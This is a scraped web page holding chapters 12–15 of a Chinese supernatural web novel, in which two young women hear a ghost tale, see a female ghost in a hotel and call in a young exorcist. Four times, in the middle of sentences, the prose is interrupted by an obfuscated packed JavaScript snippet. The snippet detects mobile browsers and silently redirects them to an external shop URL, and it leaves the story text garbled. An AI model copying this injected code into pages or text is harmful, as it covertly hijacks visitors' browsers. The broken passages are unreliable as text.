崔茸找到酒店事先放着的一次性纸杯,给自己倒上满满一杯可乐,还不断冒着泡,手里的芝士热狗棒也十分好吃。 陆奇文道:“我虽然不信这些神神鬼鬼的,但你们也知道,我姑是做什么的,我那学上了也就相当于没上,在外头也找不到什么好工作,索性回来帮家里做事,到现在也三四年了,当中当然也遇到过奇奇怪怪的事。其中最奇怪的,就是隔壁村子,就是那个留庄子,那村子家有个小伙子,和我还做过一年初中同学,他在我们那届有个外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167018|196764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 号,叫做张大胆,顾名思义,就是他胆子特别大。我们当时那个初中学校,据说是建在坟场上面的,特别邪门,别说是我们这帮初中生了,就连老师都不敢在里面多待。” 陆珈珈听得入迷,提到初中学校忙小鸡吃米一样点头:“我知道我知道,学校刚建成的时候还有住宿生呢,但后来有越来越多的人说晚上在学校里遇到穿白衣服没有脚的人,学校就不招住宿生了,只收镇上几个村子的学生。” 陆奇文道:“对,这个姓张的哥们就特别大胆,我记得我们当同学那会儿,一个人就在教室睡了一晚,第二天还笑嘻嘻地说别人都是胆小鬼,他张大胆的名声也就流传出来了。今天晚上要说的,不是他初中时候的事情,发生时候就在前两年。他这个人学习成绩比我还差,上完初中就去上职校了,运气好倒也发了比小财,大家都说他胆大还有福气,他被捧得越来越自得,还在网上开了个账号,没事就开个直播。人家都是什么跳舞探店了,他不是,他故意拿着手机去坟地那边儿转一圈。我姑知道他这事没少劝他,那些地方阴气重,去多了绝对对身体不好,他也没当一回事。网上那些人也都是看热闹不嫌事情大的人,每次他一去就给他刷礼物,张大胆有钱拿,就去得更勤了。” 陆珈珈道:“我去这人到底是胆子大还是傻啊?” 陆奇文道:“傻什么啊,他就是学习成绩不好,但别的方面可猴精着呢。” 但崔茸还是觉得他有点傻的,谁家好人会大晚上去坟地直播啊? 陆奇文:“有一段时间,也差不多是现在这个季节,正好屋里热,他一个多月天天都去,手里拎着个凉席,口袋里装着个蚊香,直播过了,就直接躺在凉席上点上蚊香睡觉,那地方还凉快。中元节那天也是这样,别人都让他别去了,可他惦记着打赏的礼物,他直播一晚不说多,能赚个三五百的,可比白天上班多多了。有中元节这个噱头,更是只会更多,说不定能翻个几倍,赚个几千块。” 陆珈珈:“他去了?” 陆奇文点头:“是啊,谁会跟钱过不去呐。张大胆还没等天黑就去了,刚一开播就是收了个两千的礼物,和平台一分他到手能一千,他心情好,弹幕里那些人,有的夸他胆子大的,还有的讥讽他,说后面的坟地是他搭的景,都是假的。张大胆一看就来了气,拿着手机去坟地转了一整圈,还伸手拍墓碑,很嚣张问观众这是假的吗?那些质疑的人就不说话了,他心情更好,说大话也更离谱,说别说世界上根本没有鬼,都是封建迷信,就算真的有鬼,也没什么好怕的,他上学别的都没干,就打群架去了。” 陆珈珈倒吸一口冷气,别人还好,中元节那晚,她可真是在戏台那边听到个女声在抱怨的。 “后来是不是出事了?” 陆奇文郑重点头:“你猜的没错,真出事了。先是蚊香,张大胆带着打火机,怎么点也点不着,后来他也恼了,索性不点了,就往兜里一揣,就准备睡觉,说来也奇怪,坟地那边都是野草,蚊子简直要吃人,但那天不点蚊香,居然连一只蚊子也没有。” 12. 第 12 章 “要是别人,肯定就害怕了,但张大胆可是外号叫大胆啊,直播间又有那么多人看着,也不知道他是真的不害怕还是强撑的,他依旧没有走,就坐着和直播间的网友聊天。过了午夜,直播间还是很热闹,比他平常直播都热闹得多,突然所有人都开始刷屏,说是刚才看到了他背后有个白影子飘过,让他赶紧跑。 “张大胆原本还不信,只以为他们都在开玩笑,笑着骂了骂了几句,弹幕却依旧不停,还都在提醒他,还有一小部分人都在骂他编剧本编疯了,张大胆这时候才开始有点害怕。 “你们想想那场面啊,四周没一个人,只有数不清的坟包,就连我这样完全不信鬼神的,也得害怕的要死。张大胆怂了,但还是强撑着,说来也奇怪,天气预报说接下来几天没雨,都是大晴天,那晚雨却哗啦一下从头顶浇下来。张大胆被浇个透心凉,正好找到借口赶紧溜走,骑着摩托就往家里赶,也不敢回头看一眼,生怕看到什么不该看的东西。 “他手机也不知道是进了水还是怎么着,那头连着充电宝也不亮了,幸好坟地虽然是隔壁镇,但张大胆最近来得很勤,没有导航也能记得回家的路。更奇怪的是,他一回到咱陆家镇,那雨就停了。 “张大胆觉得邪门,不敢再干啥,他也没有老婆,他爸是干包工头的,他妈在工地做饭,离家一年半载是经常的事,他家里只有一个人住。这晚也不例外,张大胆回到家也只有自己一个人,因为刚才在坟地发生的怪事,他心里打鼓,躺在床上准备一觉睡到大天亮,但怎么也睡不着,脑海里一直在寻思刚才弹幕里的话,也不知道这些人是寻他开心,还是真的看到了什么。还有怎么也点不着的蚊香和那场莫名其妙的雨,怎么想怎么觉得古怪。有时候就是这样的,人是被自己脑补出来的恐惧吓死的。张大胆就躺在床上,直挺挺的,一动也不敢动,不知过了多久,听到远方常来公鸡打鸣的叫声,他才稍微放下心来,还在心里嘲笑自己,居然会被这种虚无缥缈的事情吓到,不过都是凑巧罢了。 陆珈珈面露失望:“就这啊?” 陆奇文道:“别急啊,还没讲到重点呢。” 陆珈珈:“那你倒是快点讲啊,啰里啰嗦讲到现在,连正题都没有进,” 陆奇文瞧了她一眼,继续道:“公鸡打鸣了,太阳还没出来,外头天些微有些光,但没大亮。就在这时,院子里响起窸窸窣窣的声音,我们这儿基本上家家户户都养狗看家,那只黑狗汪汪汪地叫起来,周围人家的狗听到了,也都一起叫起来。张大胆偷偷扭头从窗户往外看,居然真看到一个穿白衣服的人影,胆子都快吓破了,也顾不得天气炎热,扯过被子就盖过头顶,汗湿透了也大气都不敢出,就这么熬着,直到太阳完全出来,他才敢从被子里出来,差点没把自己闷中暑。心惊胆战去院子里一看,眼睛一下子就瞪大了,你们猜怎么着?” 崔茸:“不会是狗被鬼杀了吧?” 民间故事里,黑狗血不是辟邪的吗? 陆奇文故作神秘摇摇头:“比这还可怕、还要出人意料得多。” 崔茸:“那是什么?都大白天了,那鬼总不能还等在他门口堵他吧?” 陆奇文喝了口冰可乐,慢悠悠道:“他的摩托车被偷了!” 崔茸和陆珈珈俱是一愣,随即反应过来,那个引起狗叫、还被张大胆看到的白色影子根本不是什么鬼,而是偷摩托车的小偷。 崔茸:“……你觉得你很幽默是吗?” 陆奇文还真是这么觉得的,他哈哈大笑起来。 陆珈珈拿起酒店沙发上的抱枕朝他砸过去,“有病吧你。” 陆奇文只顾着笑没躲过去,被砸了一脸但也没生气,依旧是乐呵呵的。 陆珈珈看他这嬉皮笑脸的样子更烦,拿起沙发剩下的三个抱枕也都朝他砸过去。 陆奇文有了防备,每次都轻松躲过。 在陆珈珈手里只剩下最后一个抱枕时,她脸色突然一变,朝崔茸和陆奇文两人询问道:“你们刚才有没有听到有人说话?” 崔茸道:“没有啊,这酒店隔音做得挺不错的,哪怕楼下是大马路也听不到什么声音。” 陆奇文脸上的笑带着揶揄:“怎么?被我吓到了这么着急想报复回来是吗?我可不会轻易被你随口一说的假话吓到。” 陆珈珈:“你以为谁都和你一样无聊啊?我刚才真听到了!对了这间房是这层楼最后一间,我早听说最后一间不能住,要不然我们去找前台换一间吧?” 陆奇文看看手机上的时间,已经过了十二点,不赞成摇摇头:“现在都十二点多了,再过两个小时,李常青坐的那列高铁就该到了,就两个小时没必要。” 崔茸这次觉得陆奇文说得有道理,她可不是正当登记入住的。 少数服从多数,陆珈珈便也不再言语,只不过悄悄往崔茸那里挪了挪,又挽住崔茸的手臂,紧紧挨着她,像是一个快要冻死的人急切靠向火炉。 她这反应不像是玩笑,但崔茸觉得,如果跟着她们的那个鬼是池鹤,根本就没什么好怕的。 安慰地拍拍她的手背,崔茸低声道:“你听见到了什么这么害怕?” 陆珈珈低声道:“我听到有个女的问,你吃的羊肉串好吃吗?” 崔茸沉默一瞬,哭笑不得:“哈哈哈,还是个馋鬼。” 陆珈珈无奈道:“我没跟你开玩笑,崔茸,我真的听到了,她好像离得很近,就在我耳朵旁说的,怎么办啊我们好像真被缠上了。” 崔茸安慰道:“别怕别怕,就算真是个鬼,她不敢露面肯定是因为她害怕,我们都在这儿呢,她一个鬼势单力薄的能怎么样?再说了,只要再等两个小时,那位大师就到了。” 陆珈珈点点头,皱着眉又吃了几串羊肉串。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167019|196764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 县城不比大城市,商铺深夜两点还在营业的凤毛麟角,只有一家快餐汉堡连锁店还亮着灯,不过有路灯作伴,比起农村还是方便很多。 提前二十分钟来到火车站门口,崔茸终于见到了李常青的的庐山真面目。 陆奇文介绍的这位大师看起来年纪和她差不了多少,穿得很朴素,白色短袖因为洗的次数多了,已经发灰,裤子上面甚至还打着补丁,这在现在这个年代可是稀罕物,别说是在城市,就在陆家镇这种小地方,爱打扮的年轻人也都是穿得光鲜亮丽。 崔茸不动声色打量他几眼,李常青却像如临大敌似的,和她们说话都要有三米远,好像怕她们对他怎么样似的。 过几天就是立秋,但温度还没有下来,依旧是热得离谱,李常青经过三天的旅行,整个人散发着一股馊味,像是个流浪汉。 崔茸收回目光,心中的怀疑又旺盛起来,这人虽然看着气质干净,目光纯粹,不像是个坏人,但世外高人的气息是一点儿也没有啊。 看他这悲催样,崔茸很善解人意地去刚才路过还开着灯的快餐店买了个汉堡套餐,反正房间都已经开好了,不住白不住,也不急着回去。 陆奇文跟他关系倒很好的模样,趁着陆奇文带他先回酒店洗漱的功夫,崔茸和陆珈珈买完汉堡,又去不远处的商场,好不容易找到一家还在开门的服装店,给这位落魄大师买了两套衣服。 还真别说,这县城小店真是了不得,连品牌都没有的普通短袖和牛仔裤,居然要卖大几百,两套下来,居然要一千多。 鞋子没买,一是找不到还在营业的鞋店,二则是这个不好目测。 陆珈珈大概是属鱼的,只有七秒钟记忆,早已经忘记了在酒店房间内吓得瑟瑟发抖的场面,拎着像模像样的包装袋和崔茸吐槽:“我看那个李常青,不像是什么大师,倒像是来逃荒的。连三姑那种装神弄鬼的都过得有滋有味的,他要是有真本事,怎么能混成这样?” 崔茸耸肩,表示自己也不知道,她现在可是千万富婆,一千多对于她来说洒洒水而已啦。 就算李常青不顶事,也就当她做慈善可怜他了。 路过酒店大堂的时候,前台小姐还没睡,但眼睛已经很迷离了,陆珈珈还有些紧张,生怕被拆穿崔茸并没有办理入住,但前台小姐只是瞟了她们一眼,就又低下了头。 把买来的衣服交到陆奇文手里,等李常青收拾好她们俩来到这个房间。 都说是人靠衣装佛靠金装,这衣服虽不算太好,但整洁大方,李常青洗澡完一换上,立马从邋遢流浪汉变成清秀小帅哥了。 他十分不好意思,局促扯扯衣角:“让两位姑娘破费了。” 崔茸和陆珈珈都有些无奈,这个李常青莫非是山顶洞人与世隔绝了吗? 这都什么年代了,居然还有人一口一个姑娘。 13. 第 13 章 她自我介绍道:“我叫崔茸,你不用那么客气,喊我名字或者喊我小崔都行。” 陆珈珈也道:“我叫陆珈珈。” 李常青郑重点点头,抱拳自我介绍道:“我叫李常青,玉男派第二十五代传人。今天让你们见笑了。” 玉男派?这是什么鬼东西? 崔茸运气好,嘴里没有东西,但正在喝可乐的陆珈珈就没有这个好运气了,差点没被呛死。 李常青尴尬摸摸自己的手:“怎么了?是有什么不妥之处吗?” 崔茸道:“没有没有。” 怪不得这位从到火车站碰面开始,就和她们至少保持着五米距离呢。 先不说李常青本事如何,但他还真是个实在人,风卷残云扫完汉堡就要开始干活,还是陆奇文拉住他:“不着急不着急,现在天黑了我们也不方便回去,你一路舟车劳顿索性就在这里住一晚,养精蓄锐后再做正经事。” 崔茸和陆珈珈二人也都齐齐附和。 陆奇文和李常青住一间,崔茸和陆珈珈住一间。 因为陆珈珈刚才的“幻听”风波,他们交换了房间,陆珈珈和崔茸住陆奇文身份证开的这间,也就是倒数第二间,陆奇文和李常青住末尾那间。 今天的运动量远超以往,崔茸小腿都开始酸痛了,随便冲洗完就上床准备睡觉。 陆珈珈和以前一样,什么情绪都是嘴上说说,实际入睡比崔茸还快,刚一沾到床就睡着了。 酒店的床很大,宽应该两米都不止,两人一人睡一边,中间还能有一条楚河汉界。 空调工作得十分卖力,房间内凉飕飕的,崔茸扯过被子盖到肩膀,仍然觉得冷。 又等了不知道多久,冷得实在睡不了,崔茸才终于坐起来去床头寻找空调遥控器,但一看吓了一跳,上面显示的温度为27摄氏度,再高不就是制热了? 难道是突然降温了? 崔茸又找到手机打开天气软件看了看,是降温了,昨天三十六度,今天三十四度。 可三十四度也是高温天气啊。 真是活见鬼,这空调坏了吧? 一想到“鬼”这个字眼,崔茸的心一下子又提到嗓子眼。 李常青就在旁边那间房,不至于出什么事吧? 又想到这鬼可能是池鹤,心中的恐惧骤减。 但冷,还是冷。 那种冷很古怪,崔茸是北方长大的,家乡的冬日零下十几度是经常的事,但只要穿上棉袄羽绒服帽子围巾手套全副武装,那种冷是能被隔绝在衣服外面的,可现在明显不是这么一回事。 崔茸现在正在经历的这种冷,裹再厚的被子也无济于事。 她往陆珈珈那边儿靠了靠,试着喊她的名字,但这家伙睡得很熟,连动弹一下也没有。 崔茸也分不清楚是这房间有古怪还是陆珈珈睡得太死,平日里她也这样,只要一睡着,就算地震了也不会醒的。 她只能重新躺到自己的位置,很想快点入睡,可瞌睡虫这东西,实在傲娇,不该来的时间总来,该来的时候却死活不来。 又不知过了多久,反正崔茸感觉是有很长时间的,远处原来一声鸡鸣。 是了,去买衣服的时候看到了这附近有个菜市场,估计是菜贩的活鸡。 她又想起陆奇文昨晚讲的那个故事,张大胆在听到鸡鸣声后从窗户往外看,看到一个影子。 那只不过是陆奇文编出来骗她们的,崔茸心里知道,却还是做了和故事主人公一样的选择,不由自主抬头去看窗户。 只是这一看,崔茸浑身僵住,后悔自己做了这个决定。 和故事里的一样,有个白色影子。 比故事更可怕的是,那影子在窗内房间里,她甚至能看清,那是个女人,马上到腰间的长头发,腰肢纤细。 那“女人”也察觉到了崔茸在看她,转过头来对着她笑,说话声音又轻又柔:“羊肉串好吃吗?” 客观来说,这“女人”并不吓人,既没有伸着个长舌头,也没有满脸的血迹,甚至长得还挺漂亮,柳叶眉大眼睛鹅蛋脸,颇具古典气质。 但此情此景,谁也不会觉得她是个美人。 崔茸第一反应是莫非她是个羊修炼成人的妖怪,今天晚上她们吃了太多羊肉串,里面有她的徒子徒孙,所以她来报仇了? 第二反应就是拼命摇晃旁边起旁边还在酣睡的陆珈珈。 陆珈珈终于醒来揉揉眼睛,嘴里嘟囔着问:“地震了?” 崔茸已经从床上跳了起来,因为住酒店是和衣而睡,没脱衣服很方便逃命,她扯过陆珈珈就要往门前走,“比地震了还可怕。” 陆珈珈被她拖着走,很是莫名其妙:“那是怎么了?” 崔茸听到女人的一阵轻笑声,来不及和陆珈珈过多解释,开门时不经意回头,却瞥到窗户旁已经空空如也,哪里还有那个白衣长发女的影子。 酒店房门已经被打开,她和陆珈珈都站在外面走廊里,声控灯亮了起来。 陆珈珈好奇往房里看了看,依旧是什么都没有,她打了个哈欠,随手将刘海拨开,但因为近视度数太深,这并未让她的视力更好一点儿。 可她只是近视,不是瞎,“你是不是做噩梦,梦魇住了?” 崔茸皱眉,回答得斩钉截铁:“不可能,我都没睡着,哪里来的做噩梦。” 两人的手机都落在房间里面,刚才那种场合根本顾不上,好在“大腿”就在隔壁,房间是不敢再进去了。 崔茸转身,开始敲起旁边李常青和陆奇文住的这间房门。 没过两分钟,陆奇文出来开门,睡眼惺忪的模样应该是刚被吵醒。 他揉着眼睛,奇怪道:“这才几点啊,天都没亮吧,不用这么着急回去吧?” 崔茸想起他讲的那个故弄玄虚的故事就生气,鸡鸣和窗户应该会成为她很长一段时间的心理阴影。 李常青也一副没睡醒眼皮都睁不开的样子。 崔茸道:“回什么家啊,我好像撞鬼了,不对,是撞见妖怪来报仇了。” 陆奇文憋着笑:“妖怪?你还能认出妖怪呢,真是了不起。是什么妖怪?先别说让我猜猜,我们今晚吃了不少烤串,有牛肉羊肉猪肉鸡腿,这范围可太广了,不太好猜,应该是牛吧,牛力气最大了。” 崔茸很认真道:“我觉得应该是羊,她问我‘羊肉串好吃吗’来着。” 陆奇文先是一愣,随即捧腹大笑起来,眼泪都快笑出来了。 “不是,珈珈晚上时不是刚说过吗?你们俩从那时候起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167020|196764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就商量好了吧?我讲个故事逗逗你们,这么记仇的啊,非得报复回来。” 崔茸没好气道:“我才没有像你这么无聊。我说的都是实话,才不是编故事。我真的听到了,那个女人说话声音很轻,问我‘羊肉串好吃吗?’我还看到了她,穿着白裙子,头发很长,她还冲我笑……” 陆奇文道:“是吗?对你笑得时候舌头有没有伸出来两米长?” 他一而再再而三地胡搅蛮缠,崔茸是真的要生气了,“你闭嘴吧,我又没有和你在说话。” 她飞快变换笑脸,殷切地望向李常青,不论如何,他比陆奇文靠谱得多,刚才说话的功夫,他已经进去检查了一圈儿。 “有没有什么不对劲的地方?” 李常青面试显露出羞愧的神色:“不好意思我这两天太累,今晚睡得太死了。房间我刚才看过了,阴气的确很重,不过并无妖气残余。” 陆奇文立马道:“所以根本就没什么妖怪对吧?” 李常青点点头。 陆奇文便朝向崔茸道:“看吧李常青都这么说,你们俩胆子怎么这么小,是不是听了我讲的那个故事,所以晚上做了噩梦当真了?” 崔茸还没反驳,李常青就道:“不是,我的意思是,崔茸见到的不是妖怪,那是个女鬼。” 陆奇文沉默片刻,自己摇摇头,不说话了。 但很显然,哪怕是李常青盖章了,他也是不信的。 退房后,在回去的路上,陆奇文坐在陆奇文的摩托后座,县城里摩托车要走机动车道,但出了这段路就不用分得那么清了。 陆奇文特意放慢速度,让她们的小电瓶车追上,崔茸便将这段时间的遭遇全都说出来,重点在于村头那场中元节的戏。 李常青的声音被风带走了大半,崔茸必须很仔细地听。 “不应该啊,就算是去了那种地方,顶多也就是倒霉几天,怎么会被缠上。像是这种中元节鬼戏,一般都是有阴差在现场的。” 陆珈珈道:“会不会是因为我的问题啊?我是中元节前一天夜里出生的,村里老人都说不吉利,大强哥说那里都是人,不知道真假,但我是的的确确听到了个女人讲话的。该不会是那时候就缠上了我们吧?” 李常青:“愚笨之人,的确更容易看见阴邪之物。至于今天的这个女鬼,是不是中元节那晚的那个,还不能确定。不过你们不用害怕,人死变成鬼之后,一般都会越来越执拗。她既然找上了你们,就相当于认准了你们。这次绝不会是最后一次,她一定还会再来的。” 前头骑车的陆珈珈和坐车后座的崔茸听了不约而同一声苦笑,认准了她们这算是什么好事! 到了村口,崔茸不由一呆,男女老少列队欢迎,还有吹喇叭的拿鞭炮的,为首的正是陆三姑。 大红色的充气拱门也立起来了,要不是崔茸识字,看到上面写的是“热烈欢迎□□光临我村”,都要怀疑这是哪家要办喜事了。 一看到她们几个,陆三姑率先迎了上来,脸上笑容热络,但她似乎是知道李常青玉男派的规矩,到了还有四五米就停住了,脸上的笑却没有停住:“大师您来了,都是奇文这孩子太不懂事,不过一点儿小事居然就麻烦您过来。我也是昨晚才知道您要来,根本就没来得及准备。” 14. 第 14 章 李常青客气道:“三姑实在太客气了,能帮上大家,我开心还来不及呢。” 陆三姑道:“这样,大家伙儿准备好了早饭,赶时间也没啥好东西,随便垫吧两口,我们先吃完早上饭再说吧。” 崔茸和陆珈珈当然也跟着去蹭饭,她们俩也还没吃呢。 不过到了现场后,崔茸和陆珈珈都惊呆了。 刚到村口时,崔茸就觉得这排场跟村里有新人结婚似的,看了陆三姑准备好的“早饭”,她更觉得像了。 这里一共摆了五桌,基本上村里的老人家都到了。 托李常青的福,崔茸和陆珈珈都坐上了主桌,桌子上摆的是牛大排、猪蹄、肘子、糖醋排骨、板栗烧鸡、一整只鸭子,还有一大盘螃蟹。 陆家镇不靠海也不靠湖,这螃蟹在这里可是个稀罕物。 不知道口味怎么样,但一看就都是硬菜。 崔茸不是个脸皮薄的人,但拿了筷子也有种无从下嘴的感觉。 大早上第一餐就吃这么油腻好吗? 她还不如刚才在路上买个包子豆浆呢。 等这顿过于隆重的“早饭”吃完,崔茸的心放下来不少。 陆三姑虽说是个糊弄人的假大师,但在村里还是很有威望的,她做了这么多年白事,就算没吃过猪肉也见过猪跑。 她上了年纪又德高望重,能对李常青这么一个年纪轻轻的毛头小子这么尊重,李常青肯定是有真本事的。 一吃完饭,她就迫不及待问道:“我们现在该怎么办呢?” 李常青沉吟片刻,还没来得及说话,就有一个看起来四十左右的中年男人冲过来,拉着李常青的袖子不放:“大师你可要救救我呀。” 怎么还有插队的? 崔茸皱眉。 李常青被扯着袖子,只能道:“别急别急,你慢慢说。” 中年男人这才冷静下来,说起自己的经历。 他不是陆家镇的,但住的也不远,开着三蹦子也就半个多小时的路程。 有句老话,龙生龙,凤生凤,老鼠的儿子会打洞。 话糙理不糙,现在大多数也是如此的,富人的下一代还是富人,明星的下一代还是明星,政治家的下一代还是政治家,像是陆奇文,他家不就是世袭寿材店吗? 中年男人姓赵,排行老二,大家都称呼他赵老二,就是家里几代都做喇叭匠。 崔茸不知道什么是喇叭匠,但陆珈珈可知道,她小的时候村里娱乐活动并不多,电视虽然家家都有,但是也只能收到几个台,那是最想去的就是去吃八碗和看喇叭匠在台上表演,也就是红白喜事。 在陆家镇这儿,不光是结婚时喜事需要大操大办,老人去世虽然都要去哭一哭,但更不能丢了面子,更要大操大办。 赵老二既然是做这一行的,当然对于鬼神之事很是忌讳,但这次,他是真的搞错了。 赵老二拉着李常青不放,话语中的惶恐很是真情实感,但崔茸和陆珈珈越听越觉得不对劲。 赵老二:“最近这几年咱农村里的娃儿都喜欢去市里的酒店办婚礼,丧事大家也都喜欢去酒店儿,那地儿多好,体体面面的,我这活儿也越来越少,想干别的吧,我们这一大家子都只会吹拉弹唱,其他啥都不会,所以最近两年,中元的戏我们也都接。前两年都没出什么差,但今年可不得了,我们班子的人都看到了,一下子真来了三个鬼,还牵着一只长得可吓人的恶犬。我们害怕也强撑着演完了,那四个鬼大人也没为难我们,半途就走了。可我们这几个人回家后,是越来越倒霉啊,走路平地摔,出门被电动车撞,不夸张地说,真是喝个凉水都塞牙。我家那口子是这村子的人,和三姑有点亲戚关系,听到您要来,我立马就过来了,您能不能给我们一家人都去去晦气啊?” 崔茸忍不住指着自己,打断了赵老二和李常青的对话:“您看看我,眼熟吗?” 赵老二看了一眼,立马躲到李常青身后去,“眼熟啊!太眼熟了!那天晚上其中一个女鬼就和你一个模样,黄头发,我们都寻思着是个外国鬼呢。” 陆珈珈也指着自己:“那您再看看我,眼熟不?” 赵老二伸出脖子看了一眼,仍旧是躲在李常青身后:“眼熟啊,另一个女鬼就和你长得一样啊,短头发,带着个黑框眼镜,看不出来年纪,说小吧,个又挺高,说大吧,脸又跟个小孩似的。” 说到这,他也觉察出不对劲来,抬头看了一眼天,现在已经是八点多,太阳升得老高了。 崔茸无奈道:“有没有可能,您那晚看到的,根本就不是什么女鬼,就是我们俩呢?” 赵老二这才从李常青背后出来:“哦,那没事了。” 过了半晌,他又埋怨道:“这俩孩子,是傻还是傻大胆呢?中元节的戏也是你们能随便看的吗?知不知道人吓人是会吓死人的啊?年轻人找刺激也不能这样玩啊。” 崔茸道:“我们要是知道那是什么戏,就不会去看了。” 陆奇文憋着笑过来打圆场:“好了二叔,今天常青大师好不容易来一趟,可是来办正经事的。既然您的问题已经解决了,就先回家去吧,赶紧和家里人都说清楚,别让他们再担惊受怕了。” 赵老二忙向李常青道谢,急忙走了。 在去陆珈珈的路上,崔茸不由对李常青道:“真没看出来,你年纪这么轻,村里人都这么尊重你,你一定很有本事吧。” 李常青红了脸,慌里慌张摆摆手:“真没有,我师父常来这里帮忙,他们都是尊重我师父,我只不过是沾了光。” 陆奇文哼笑一声,吊儿郎当的,随手就搭上李常青的肩膀,“常青老弟,你也不用这么谦虚,咱们村里人谁不知道,你师父就是在躲我三姑,让你一个人过来也是放心啊。” 李常青看起来挺腼腆,没有说话。 崔茸腹诽,这个陆奇文,年龄还没李常青大呢,就一口一个老弟的,也是真不害臊啊。 走到陆珈珈门口,陆大强正在门口和大黄玩,陆大婶在旁边摘菜,看见崔茸和陆珈珈两人带着两个年轻男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167021|196764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来,眼神立马耐人寻味起来。 陆大强见到有人过来,立马抛弃了大黄,先是手舞足蹈一番,又傻里傻气和几人说:“今天是有新朋友一起玩吗?” 陆奇文却道:“不是新朋友,他是镇里的医生,来给村里人挨家挨户打针的。正好你在这,我们也不用喊你了,快过来,只要几分钟就行了。” 陆大强看着人高马大,智商就是个小孩,听到“医生”和“打针”两个词,忙一溜烟跑进家里,顾不得陆大婶还在家门口坐着,就把大门“哐当”一声关上了。 陆奇文真的是个很促狭的人,说谎捉弄了陆大强之后,哈哈笑起来。 陆大婶看着儿子被混小子捉弄,理所应当不高兴起来。 她眉头皱得很紧,一张风吹日晒的脸上皱纹愈发明显起来,“奇文,算起来你还要喊大强一声哥,怎么还和小时候一样,还是这样混不吝的。” 陆奇文听到陆大婶语气不善的抱怨也没生气,浑不在意地笑笑:“我就和大强闹着玩呢,没欺负他。” 陆大婶也没不依不饶,只是眼珠子滴溜溜的,看着几人不说话。 因为前些天的事,崔茸也很不想再搭理陆大婶。 她也想不明白,陆大婶之前明明那么温柔和善一个人,怎么会冒出来那样的想法? 别说陆大强脑筋有问题,就算脑筋没问题,她也绝不会看上他啊。 她现在可是有八千万的女人,想要什么样的男人找不到。 退一步来说,她没八千万,也看不上陆大强啊。 一个没学历没钱没家世的男人,连认识的渠道都没有,更别提在一起了。 所以,她并没有和陆大婶打一声招呼,催促几人赶紧进门。 这鬼天气,再过几日小孩的暑假就要结束了,怎么还是这么热。 陆珈珈家里布局很简单,最大的那间是客厅,客厅旁边是两间卧室,院子里是一间厨房和一个堆满了东西的杂物间,洗浴的地方很简陋只有几平方米,还有就是一个用塑料布当棚顶的车棚。 李常青一进来就直奔主题,各个房间都转悠了一遍,崔茸看见他眉头越皱越紧,紧张得不得了。 原本觉得这爱捉弄人的鬼是池鹤就算了,可今天凌晨在酒店,她可看得清清楚楚,分明是个女鬼,还是个不认识的女鬼,这让她怎么可能再安心下来。 等到李常青四处都转悠了一遍,崔茸才小心翼翼发问:“是很严重吗?” 李常青一脸严肃摇摇头:“不是,我居然一点儿鬼气都没有察觉到。” 崔茸惊呆了:“所以我猜得没错是吗?那个女人是妖怪?” 李常青脸上有些无奈:“我不是这个意思。我从那个女人身上感受到了严重的鬼气,但很明显这里是没有的。” 陆奇文道:“是不是你们想太多,家里其实根本什么事都没有?” 崔茸和陆珈珈异口同声:“不可能,绝对是有东西。” 笑话,哪有正常人会往自己要吃的饭里加半袋子盐啊? 15. 第 15 章 这次行动最终还是以失败告终,但李常青信誓旦旦保证:“你们放心,用了你们那么多钱,还麻烦你们给我买了那么多东西,这事情我一定会帮你们解决的。就算我不行,我师父也一定可以的。” 有了他的承诺,崔茸心中的失望冲淡不少,为求心安,她盛情邀约:“那个一直缠着我们的东西,似乎也就是比较喜欢恶作剧,也没有要害我们性命的意思,也不用这么急。这村里也没有酒店,不如你就住我们家吧?” 虽然李常青是个成年男子,但看他这避女人如蛇蝎的模样,崔茸觉得根本不用担心。 李常青听了,脸腾的一下红起来,比番茄还西瓜,脑袋摇得像是拨浪鼓:“不行不行,这真的不行。” 崔茸:“我们又不能吃了你。这样,我们时时刻刻谨记着,和你保持距离,可以吗?” 李常青还是摇头:“不行不行,这真的不行。” 